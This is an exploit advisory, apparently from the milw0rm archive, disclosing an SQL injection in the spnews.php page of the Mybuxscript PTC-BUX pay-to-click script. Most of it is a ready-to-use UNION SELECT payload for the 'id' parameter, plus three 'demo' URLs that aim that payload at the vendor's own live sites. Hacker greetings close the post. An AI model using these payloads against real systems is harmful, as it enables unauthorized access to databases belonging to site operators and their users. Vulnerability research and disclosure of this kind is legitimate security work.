39 lines
No EOL
1.1 KiB
Text
39 lines
No EOL
1.1 KiB
Text
------------------------------------------------------------
|
|
|
|
Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability
|
|
|
|
------------------------------------------------------------
|
|
|
|
Author.: HxH
|
|
|
|
Contact: HxH[at]live[dot]at
|
|
|
|
---------------------------
|
|
|
|
Script.: Mybuxscript PTC-BUX (BASIC/ADVANCE/PRO)
|
|
|
|
Home...: http://www.mybuxscript.com/index.php?cPath=1
|
|
|
|
-----------------------------------------------------
|
|
|
|
Exploit:
|
|
|
|
[~] http://localhost/Path/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--
|
|
|
|
------------------------------------------------------------------------
|
|
|
|
Demo...:
|
|
|
|
A: http://mybuxscript.com/salescripts/ptc_basic/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--
|
|
|
|
B: http://mybuxscript.com/salescripts/ptc_advance/?p=spnews&id=-10+UNION+SELECT+1,version(),3,4--
|
|
|
|
C: http://mybuxscript.com/salescripts/ptc_professional/?p=spnews&id=-12+UNION+SELECT+1,version(),3,4--
|
|
|
|
------------------------------------------------------------------------------------------------------
|
|
|
|
Greetz.: ~ JiKo ~ The Sad Hacker ~ All No-Exploit.com Members
|
|
|
|
-------------------------------------------------------------
|
|
|
|
# milw0rm.com [2009-08-31] |